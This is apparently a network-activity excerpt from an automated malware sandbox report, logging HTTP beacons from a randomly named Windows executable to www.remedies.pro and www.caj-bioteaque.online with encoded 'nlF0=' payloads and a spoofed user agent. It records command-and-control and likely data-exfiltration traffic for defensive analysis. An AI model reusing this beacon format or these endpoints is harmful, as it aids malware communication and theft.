                                                                        Data Ascii: nlF0=zy3PXKD7am1pEeNNjBGo2pahieguHV4f8x5cSrSVh94CHM/qlHgBFisoWaLWSELVnSpVwwxGM6syKyxliV/+jtL5xCTKMvdN8RE+RFZ/iQC3B3VT6SpDWaS29TzHxmkW0RTKFq9LeeISnlwCupirnLPgH4rasrSQh1yQeYeVZc5Q4VkXrun3yc0pxviq0nHzSK/U0Dk=


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        30192.168.2.84995413.248.169.48805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:52.946002960 CET739OUTPOST /hrap/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.remedies.pro
                                                                        Origin: http://www.remedies.pro
                                                                        Referer: http://www.remedies.pro/hrap/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 7a 79 33 50 58 4b 44 37 61 6d 31 70 4c 65 39 4e 76 43 75 6f 77 4a 61 67 38 4f 67 75 4e 31 34 54 38 78 31 63 53 76 43 46 67 50 73 43 47 74 50 71 6a 79 55 42 57 53 73 6f 65 36 4c 54 57 45 4b 58 6e 53 6c 33 77 77 39 47 4d 2b 45 79 4b 7a 42 6c 69 6b 2b 4d 78 4e 4c 2f 33 43 54 49 44 50 64 4e 38 52 45 2b 52 46 4e 46 69 51 71 33 43 47 46 54 37 7a 70 41 63 36 53 78 2b 54 7a 48 31 6d 6b 53 30 52 54 6b 46 76 6c 74 65 64 77 53 6e 67 4d 43 74 38 57 6f 75 4c 50 6d 4b 59 72 45 72 4a 54 4a 6e 53 33 78 66 4c 2b 55 63 4d 52 37 77 44 56 39 78 4d 76 78 78 63 63 43 78 73 4b 63 78 51 61 62 49 70 76 6b 71 55 7a 32 38 7a 45 56 4c 36 72 67 70 44 41 66 6c 56 66 77 71 58 46 67
                                                                        Data Ascii: nlF0=zy3PXKD7am1pLe9NvCuowJag8OguN14T8x1cSvCFgPsCGtPqjyUBWSsoe6LTWEKXnSl3ww9GM+EyKzBlik+MxNL/3CTIDPdN8RE+RFNFiQq3CGFT7zpAc6Sx+TzH1mkS0RTkFvltedwSngMCt8WouLPmKYrErJTJnS3xfL+UcMR7wDV9xMvxxccCxsKcxQabIpvkqUz28zEVL6rgpDAflVfwqXFg


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        31192.168.2.84996013.248.169.48805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:55.612376928 CET1756OUTPOST /hrap/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.remedies.pro
                                                                        Origin: http://www.remedies.pro
                                                                        Referer: http://www.remedies.pro/hrap/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 7a 79 33 50 58 4b 44 37 61 6d 31 70 4c 65 39 4e 76 43 75 6f 77 4a 61 67 38 4f 67 75 4e 31 34 54 38 78 31 63 53 76 43 46 67 50 55 43 48 66 48 71 67 52 4d 42 48 69 73 6f 55 61 4c 53 57 45 4c 50 6e 52 56 7a 77 77 67 7a 4d 38 4d 79 49 52 4a 6c 6b 57 57 4d 37 4e 4c 2f 31 43 54 4e 4d 76 64 59 38 52 55 36 52 46 64 46 69 51 71 33 43 45 74 54 34 69 70 41 61 36 53 32 39 54 7a 44 78 6d 6b 36 30 53 6a 53 46 75 51 57 66 73 51 53 6e 41 38 43 72 4f 2b 6f 68 4c 50 6b 4a 59 71 58 72 4a 66 73 6e 54 65 4f 66 4b 62 78 63 4e 6c 37 68 58 63 43 6b 59 33 59 31 66 64 79 71 4f 32 45 70 53 43 70 58 4a 76 65 76 6a 66 71 39 58 6c 30 65 34 6e 78 6c 54 77 56 35 41 6d 2f 71 6a 68 71 33 5a 73 5a 63 4d 67 32 32 76 6c 38 33 73 62 44 39 59 74 39 50 45 58 55 71 6a 62 65 39 4f 68 7a 72 76 2b 6a 69 48 52 75 73 69 67 70 53 33 67 31 46 2b 70 78 39 51 6f 31 43 69 6f 33 69 44 68 32 6a 73 6c 34 74 2f 73 52 54 65 45 4a 4a 52 66 56 47 64 70 55 31 6f 30 4d 4b 6e 6a 69 59 72 61 67 56 37 51 4d 6a 4f 32 56 4c 30 79 78 33 72 44 57 7a [TRUNCATED]
                                                                        Data Ascii: nlF0=zy3PXKD7am1pLe9NvCuowJag8OguN14T8x1cSvCFgPUCHfHqgRMBHisoUaLSWELPnRVzwwgzM8MyIRJlkWWM7NL/1CTNMvdY8RU6RFdFiQq3CEtT4ipAa6S29TzDxmk60SjSFuQWfsQSnA8CrO+ohLPkJYqXrJfsnTeOfKbxcNl7hXcCkY3Y1fdyqO2EpSCpXJvevjfq9Xl0e4nxlTwV5Am/qjhq3ZsZcMg22vl83sbD9Yt9PEXUqjbe9Ohzrv+jiHRusigpS3g1F+px9Qo1Cio3iDh2jsl4t/sRTeEJJRfVGdpU1o0MKnjiYragV7QMjO2VL0yx3rDWzuYuNK7gu1muLRYYJhLsrDJ6fn1BFG51NUAdbCluoWrUpF6btR7+/M+OzQEn01sZ30sbo5ZRo+WG2lJoxjCLBmO0sBv/5MCAiVwaAZj5GFoOMhoUCyGB7os5K6eT2k6RLdlQthSDtrPkO3SIBjncWAXozxg94tUYN9tGJVFg7l6XiEquFmAQiLjwhAaeq0l2wAw0BhIfBaELGiJaz7aVgzgyb29mVYgOef4x3kMhPanAWPAc15JvyBffHZpE60RpxV7Ti1bGUo8PPzvhkKEo85jOlu9QGsg2O45ZG0egd2x6YdpujvGGGGTg0g07qH+TnsIxKw39eKwDJ0UzuuuuqDX6XhM3DV38V5pFIWjvvm+mP3LZRYLjrpruVLECEAfMR54tap1CkIqvxMl5A1Xf99K8UuBToTZvY8nK7aKam8NzBxmX5aZkT+OsdiENGb/RQPyxVHFhjxXc9ZbRJUbudJ202PivpiSN8SF34QJazpuohEo8ShAM791OhzD3bJLk1PJDvMQtS3H6G6kEe3M5QQHSGpCpHQCMKEQ01PGFGIWGbbrv+9YYn80bm4qRgZZ36msApRHyJb+pEdAlFtp2qttFfOGfLqRCWxOS6XdfItT3k6CEpMCWn8AZOMLBhrBR/pGsesa06+GkSYo9J7uFnvQoi2eT6BC9d7q [TRUNCATED]


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        32192.168.2.84996613.248.169.48805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:49:58.271604061 CET467OUTGET /hrap/?nlF0=+wfvU+r0fXNkfp8phT2n7736oLgVK2IS1hMsf4OYg5wyJviJ8QUrWR8xRt/3ckLtqjVE/R9SKLQENxs3rgGq767kzSLgYLxZ9xgqU01MvC+gJ0Bi6hFEVOeNtQKRygttuw==&UDg=ZFTXPHspLZsHZTR HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.remedies.pro
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:49:59.410774946 CET412INHTTP/1.1 200 OK
                                                                        Server: openresty
                                                                        Date: Wed, 27 Nov 2024 19:49:59 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 272
                                                                        Connection: close
                                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6e 6c 46 30 3d 2b 77 66 76 55 2b 72 30 66 58 4e 6b 66 70 38 70 68 54 32 6e 37 37 33 36 6f 4c 67 56 4b 32 49 53 31 68 4d 73 66 34 4f 59 67 35 77 79 4a 76 69 4a 38 51 55 72 57 52 38 78 52 74 2f 33 63 6b 4c 74 71 6a 56 45 2f 52 39 53 4b 4c 51 45 4e 78 73 33 72 67 47 71 37 36 37 6b 7a 53 4c 67 59 4c 78 5a 39 78 67 71 55 30 31 4d 76 43 2b 67 4a 30 42 69 36 68 46 45 56 4f 65 4e 74 51 4b 52 79 67 74 74 75 77 3d 3d 26 55 44 67 3d 5a 46 54 58 50 48 73 70 4c 5a 73 48 5a 54 52 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?nlF0=+wfvU+r0fXNkfp8phT2n7736oLgVK2IS1hMsf4OYg5wyJviJ8QUrWR8xRt/3ckLtqjVE/R9SKLQENxs3rgGq767kzSLgYLxZ9xgqU01MvC+gJ0Bi6hFEVOeNtQKRygttuw==&UDg=ZFTXPHspLZsHZTR"}</script></head></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        33192.168.2.849978212.123.41.108805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:05.638088942 CET743OUTPOST /fvpb/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.caj-bioteaque.online
                                                                        Origin: http://www.caj-bioteaque.online
                                                                        Referer: http://www.caj-bioteaque.online/fvpb/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 70 77 5a 62 32 78 65 70 59 68 6a 63 36 34 73 79 71 59 31 57 4d 64 4c 57 70 70 4d 72 64 79 7a 39 4b 41 65 39 70 54 62 70 46 32 68 78 4a 5a 59 59 4d 64 4c 7a 36 38 64 31 45 73 4c 7a 54 66 4f 79 76 57 44 47 54 6a 76 2f 65 63 73 36 42 7a 4a 4f 6d 4f 44 46 66 71 73 6f 55 4d 7a 54 65 78 57 2b 57 33 73 63 44 4b 63 51 2b 32 79 73 70 6c 7a 72 59 67 58 35 70 54 2b 54 6c 48 4c 6e 59 2b 4d 30 53 74 58 54 5a 43 6f 56 59 36 5a 67 69 74 53 6c 62 42 55 4a 6f 7a 2f 4a 36 51 51 76 42 62 6f 4f 6b 37 64 77 74 76 59 45 72 64 62 4b 6a 2b 44 4a 50 37 61 7a 58 42 64 33 31 69 34 69 77 75 45 43 4e 48 6a 58 76 75 38 3d
                                                                        Data Ascii: nlF0=pwZb2xepYhjc64syqY1WMdLWppMrdyz9KAe9pTbpF2hxJZYYMdLz68d1EsLzTfOyvWDGTjv/ecs6BzJOmODFfqsoUMzTexW+W3scDKcQ+2ysplzrYgX5pT+TlHLnY+M0StXTZCoVY6ZgitSlbBUJoz/J6QQvBboOk7dwtvYErdbKj+DJP7azXBd31i4iwuECNHjXvu8=
                                                                        Nov 27, 2024 20:50:06.932168007 CET670INHTTP/1.1 404 Not Found
                                                                        Server: nginx/1.18.0
                                                                        Date: Wed, 27 Nov 2024 20:10:59 GMT
                                                                        Content-Type: text/html
                                                                        Transfer-Encoding: chunked
                                                                        Connection: close
                                                                        ETag: W/"5d07e874-36b"
                                                                        Content-Encoding: gzip
                                                                        Data Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a [TRUNCATED]
                                                                        Data Ascii: 1c5S@)RH*$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Yb*f,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        34192.168.2.849985212.123.41.108805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:08.292381048 CET763OUTPOST /fvpb/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.caj-bioteaque.online
                                                                        Origin: http://www.caj-bioteaque.online
                                                                        Referer: http://www.caj-bioteaque.online/fvpb/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 70 77 5a 62 32 78 65 70 59 68 6a 63 36 59 38 79 6d 62 74 57 45 64 4c 52 33 5a 4d 72 4b 69 7a 68 4b 41 61 39 70 53 66 44 46 44 35 78 4b 39 49 59 4e 63 4c 7a 33 63 64 31 50 4d 4c 71 4f 76 4f 35 76 57 4f 35 54 68 72 2f 65 63 6f 36 42 78 42 4f 6c 35 33 47 4f 71 73 71 62 73 7a 52 51 52 57 2b 57 33 73 63 44 4b 49 71 2b 77 61 73 6f 57 37 72 65 45 4c 36 68 7a 2b 51 78 58 4c 6e 4a 4f 4d 77 53 74 57 47 5a 42 73 2f 59 38 56 67 69 73 69 6c 62 55 67 4b 6e 7a 2f 50 2b 51 52 54 4f 49 41 48 2b 62 4e 69 76 38 73 51 6c 72 58 51 69 49 79 6a 56 5a 53 31 55 42 31 63 31 68 51 55 31 5a 5a 71 58 6b 7a 6e 78 35 71 63 7a 61 73 63 6b 38 52 43 6f 4d 78 6f 4c 31 4b 7a 7a 72 30 66
                                                                        Data Ascii: nlF0=pwZb2xepYhjc6Y8ymbtWEdLR3ZMrKizhKAa9pSfDFD5xK9IYNcLz3cd1PMLqOvO5vWO5Thr/eco6BxBOl53GOqsqbszRQRW+W3scDKIq+wasoW7reEL6hz+QxXLnJOMwStWGZBs/Y8VgisilbUgKnz/P+QRTOIAH+bNiv8sQlrXQiIyjVZS1UB1c1hQU1ZZqXkznx5qczasck8RCoMxoL1Kzzr0f
                                                                        Nov 27, 2024 20:50:09.589833021 CET670INHTTP/1.1 404 Not Found
                                                                        Server: nginx/1.18.0
                                                                        Date: Wed, 27 Nov 2024 19:47:10 GMT
                                                                        Content-Type: text/html
                                                                        Transfer-Encoding: chunked
                                                                        Connection: close
                                                                        ETag: W/"5d07e7ed-36b"
                                                                        Content-Encoding: gzip
                                                                        Data Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a [TRUNCATED]
                                                                        Data Ascii: 1c5S@)RH*$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Yb*f,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        35192.168.2.849992212.123.41.108805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:10.951863050 CET1780OUTPOST /fvpb/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 1241
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.caj-bioteaque.online
                                                                        Origin: http://www.caj-bioteaque.online
                                                                        Referer: http://www.caj-bioteaque.online/fvpb/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 70 77 5a 62 32 78 65 70 59 68 6a 63 36 59 38 79 6d 62 74 57 45 64 4c 52 33 5a 4d 72 4b 69 7a 68 4b 41 61 39 70 53 66 44 46 41 5a 78 4a 4b 67 59 4d 2f 7a 7a 32 63 64 31 4d 4d 4c 33 4f 76 4f 6f 76 58 6d 39 54 68 6d 41 65 65 67 36 43 54 35 4f 67 4d 62 47 58 36 73 71 44 63 7a 51 65 78 57 72 57 33 38 51 44 4b 59 71 2b 77 61 73 6f 58 72 72 64 51 58 36 6e 7a 2b 54 6c 48 4c 52 59 2b 4e 74 53 74 2f 39 5a 41 59 46 59 4d 31 67 69 50 61 6c 63 69 38 4b 34 44 2f 4e 35 51 52 4c 4f 49 64 66 2b 62 52 35 76 38 6f 36 6c 73 62 51 75 50 6a 62 50 61 75 2b 4c 42 74 53 79 69 4d 42 74 75 52 39 5a 48 76 58 77 4a 32 44 79 63 39 31 75 75 64 69 73 4c 78 68 50 78 65 65 37 66 70 66 48 4b 6e 36 5a 52 6f 50 67 43 33 4c 42 64 46 59 33 48 46 67 6e 32 71 2b 6e 67 48 6a 74 78 68 2f 41 62 72 7a 2f 6f 6e 34 66 44 58 59 6f 6b 5a 6a 6f 49 4f 34 34 36 79 34 72 61 2f 78 74 45 6b 63 2f 59 73 32 79 75 6a 76 35 45 63 64 35 54 55 5a 54 31 35 6f 51 4b 73 67 52 48 4c 41 31 62 4b 5a 6f 72 70 70 50 4e 75 64 32 76 63 39 46 46 68 41 32 [TRUNCATED]
                                                                        Data Ascii: nlF0=pwZb2xepYhjc6Y8ymbtWEdLR3ZMrKizhKAa9pSfDFAZxJKgYM/zz2cd1MML3OvOovXm9ThmAeeg6CT5OgMbGX6sqDczQexWrW38QDKYq+wasoXrrdQX6nz+TlHLRY+NtSt/9ZAYFYM1giPalci8K4D/N5QRLOIdf+bR5v8o6lsbQuPjbPau+LBtSyiMBtuR9ZHvXwJ2Dyc91uudisLxhPxee7fpfHKn6ZRoPgC3LBdFY3HFgn2q+ngHjtxh/Abrz/on4fDXYokZjoIO446y4ra/xtEkc/Ys2yujv5Ecd5TUZT15oQKsgRHLA1bKZorppPNud2vc9FFhA2vm+0Hm/IR4Q+VhlsV7qPIh8gWRDoY4Guh1jKhYcjAmQvbC41789rlbrLpkMXqZ3skqh3oz5iyTElF5EmgdYgDbpnC7L8CaHdOFwEpQpMrPwqf6J6eDI3p7P+wGDDmVIa/E9eBL1uwZ65rXFgyBDegNALDks3cvJjjDjjIkBZUzC3MZQxfSMuKEytCZHJHtILKWKtU62Nt0ZlkVwhGCbGYhuEZL9ySSAz0Qd0vOZ9gT4GRQKqInjdG2TwwfEQoPvu1YcRNuuuCA+ZsmyqvEVBYJL+qlTWGg6ukgAog05UPzB3FNLBmUkZw1bvF9hG+YrGvPO0xw1yDRQwkS0x+h7FgnSvb5ZYcsEsmDwO6o/ETNeejy+j6RTCMJdOKFezcSD5ISBqLXthw0RteKykOnLV6td6eojPhtRp5n6dDaD0rflU4xwTBb5FRWVkecSc4ZIddDeVG3NIoqN9wroCPhriN6PmjN4kp1+LdjgIXH1ckb3DRDFvskUSgg6mGXVBetmF2FEpfzDxgy5EzwHpVcQCpRbVh7TLopYxVQmfC8Im3GUW83pps4hgnyTKXLtsnTMB/Cdd6qqeYIkiPfws7tHzW83vHePl7ZERGaqSPW6fEDdz4CnNlZ2Coah76vNreoANsQPL24jbxmIo4O/87bbrjgXDr0BX/jMw3N [TRUNCATED]
                                                                        Nov 27, 2024 20:50:12.249665976 CET670INHTTP/1.1 404 Not Found
                                                                        Server: nginx/1.18.0
                                                                        Date: Wed, 27 Nov 2024 20:11:05 GMT
                                                                        Content-Type: text/html
                                                                        Transfer-Encoding: chunked
                                                                        Connection: close
                                                                        ETag: W/"5d07e874-36b"
                                                                        Content-Encoding: gzip
                                                                        Data Raw: 31 63 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b5 53 cd 8e d3 40 0c be e7 29 cc 9e b7 1d 10 e2 52 86 48 ab c2 a1 07 16 84 2a 24 8e 6e c6 69 46 4a c6 c1 e3 6c 54 21 de 1d 4f d2 65 81 0b 5c c8 25 33 8e ed ef c7 8e 7f f6 f6 c3 fe f8 e5 e3 3b e8 74 e8 eb ca 3f be 08 83 dd 34 6a 4f f5 67 92 d8 c6 06 35 72 02 6e 61 cf 49 b1 51 38 a4 96 65 58 c2 de ad a9 95 cf 7a b1 92 0a ec 39 71 b8 c0 b7 e5 58 ae 73 0c da ed e0 e5 2b 1a 5e ff 0c 0e 28 e7 98 76 f0 1c 70 52 7e 8a b7 86 b1 69 71 88 fd 65 07 47 ec 78 c0 5b 30 22 01 93 1d ee 24 62 7f 0b 19 53 de e4 c2 6e 2d fc 5e 79 77 c5 f7 ae 5b 25 14 12 45 d7 8b 7f 93 61 79 95 1f eb 63 47 10 0c 33 26 88 19 94 86 91 05 c5 c8 80 59 d0 71 1f 60 a4 14 62 3a c3 c3 1f e6 a8 55 92 15 f6 80 21 08 e5 5c 1c 2b c1 4f 74 8e 59 05 93 02 66 2b 97 25 7a d8 df dd df 83 4c 3d 59 62 2a 0a ff 66 f5 d6 bb b1 ae 0a c9 f7 2c c6 92 d4 c0 1e 51 32 5d 7b 35 98 e0 44 d0 f2 94 02 a0 ee fc 49 9c 29 43 e8 84 da 37 37 9d ea b8 73 6e 9e e7 ad 0d 36 a5 2d cb d9 51 72 46 98 27 69 28 bb 86 87 b1 8f 98 1a 5a [TRUNCATED]
                                                                        Data Ascii: 1c5S@)RH*$niFJlT!Oe\%3;t?4jOg5rnaIQ8eXz9qXs+^(vpR~iqeGx[0"$bSn-^yw[%EaycG3&Yq`b:U!\+OtYf+%zL=Yb*f,Q2]{5DI)C77sn6-QrF'i(ZfflWn;Zh<'ssuW%_`~rL:QV{&Xylju@yJ`sA`+Q1@k0


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        36192.168.2.849998212.123.41.108805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:50:13.616524935 CET475OUTGET /fvpb/?nlF0=kyx71FegbxK9t49CpIFcJc3BjJMIYivbNVDNoxjcJXBTC458PtiM+MxjOLvzJIevsVCTQRubdLAqQTQOooLJWPoXTsT/EUu/anIdFJMjhS6koku4fCbhg0mBmHfUHMRoPA==&UDg=ZFTXPHspLZsHZTR HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.caj-bioteaque.online
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:50:14.976682901 CET1047INHTTP/1.1 404 Not Found
                                                                        Server: nginx/1.18.0
                                                                        Date: Wed, 27 Nov 2024 20:11:07 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 875
                                                                        Connection: close
                                                                        ETag: "5d07e874-36b"
